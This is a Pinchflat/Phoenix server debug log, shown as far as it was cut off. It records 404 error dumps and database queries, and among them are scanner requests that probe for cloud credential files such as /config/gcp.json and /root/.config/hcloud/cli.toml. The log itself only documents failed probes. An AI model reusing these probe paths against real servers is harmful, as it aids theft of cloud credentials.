PinchflatWeb.Endpoint (connection #PID<0.9835.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /config/gcp.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/gcp (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9835.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/gcp.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55078}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9836.0>, params: %{}, path_info: ["config", "gcp"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/config/gcp.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDCGvzfICgpw0AAIkD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9835.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/gcp.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55078}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/gcp (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9835.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/gcp.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55078}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9836.0>, params: %{}, path_info: ["config", "gcp"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/config/gcp.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDCGv (truncated) 15:22:11.009 [info] GET /root/.config/hcloud/cli.toml 15:22:11.010 [debug] QUERY OK source="settings" db=0.1ms idle=385.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:11.010 [debug] QUERY OK source="settings" db=0.0ms idle=383.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:11.010 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:11.010 [error] #PID<0.9838.0> running PinchflatWeb.Endpoint (connection #PID<0.9837.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /root/.config/hcloud/cli.toml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /root/.config/hcloud/cli (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9837.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/root/.config/hcloud/cli.toml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55080}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9838.0>, params: %{}, path_info: ["root", ".config", "hcloud", "cli"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/root/.config/hcloud/cli.toml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDCHodI955yuQAAIlD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9837.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/root/.config/hcloud/cli.toml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55080}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /root/.config/hcloud/cli (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9837.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/root/.config/hcloud/cli.toml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55080}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9838.0>, params: %{}, path_info: ["root", ".config", "hcloud", "cli"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/root/.config/hcloud/cli.toml", resp_body: nil, resp_cooki (truncated) 15:22:11.180 [info] GET / 15:22:11.180 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 15:22:11.180 [debug] QUERY OK source="settings" db=0.1ms idle=553.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:11.180 [debug] QUERY OK source="media_profiles" db=0.0ms idle=408.1ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 15:22:11.180 [debug] QUERY OK source="sources" db=0.0ms idle=408.0ms SELECT count(s0."id") FROM "sources" AS s0 [] 15:22:11.181 [debug] QUERY OK source="media_items" db=0.5ms idle=170.7ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:22:11.181 [debug] QUERY OK source="media_items" db=0.2ms idle=171.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:22:11.182 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:11.182 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:11.182 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:11.182 [debug] QUERY OK source="media_items" db=0.2ms idle=0.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:22:11.183 [debug] QUERY OK source="media_items" db=0.3ms idle=1.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:22:11.183 [debug] QUERY OK source="sources" db=0.0ms idle=1.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?)) [1, 2, 3] 15:22:11.185 [debug] QUERY OK source="media_items" db=1.3ms idle=1.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 15:22:11.186 [debug] QUERY OK source="media_items" db=1.4ms idle=3.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:22:11.187 [debug] QUERY OK source="tasks" db=0.0ms idle=4.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:22:11.187 [info] Sent 200 in 7ms 15:22:11.249 [info] GET /home/ubuntu/.config/hcloud/cli.toml 15:22:11.249 [debug] QUERY OK source="settings" db=0.1ms idle=66.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:11.250 [debug] QUERY OK source="settings" db=0.0ms idle=66.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:11.250 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:11.250 [error] #PID<0.9842.0> running PinchflatWeb.Endpoint (connection #PID<0.9841.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /home/ubuntu/.config/hcloud/cli.toml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /home/ubuntu/.config/hcloud/cli (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9841.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/home/ubuntu/.config/hcloud/cli.toml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55096}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9842.0>, params: %{}, path_info: ["home", "ubuntu", ".config", "hcloud", "cli"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/home/ubuntu/.config/hcloud/cli.toml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDCIhmQq4tdmkAAeDC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9841.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/home/ubuntu/.config/hcloud/cli.toml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55096}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /home/ubuntu/.config/hcloud/cli (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9841.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/home/ubuntu/.config/hcloud/cli.toml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55096}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9842.0>, params: %{}, path_info: ["home", "ubuntu", ".config", "hcloud", "cli"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows 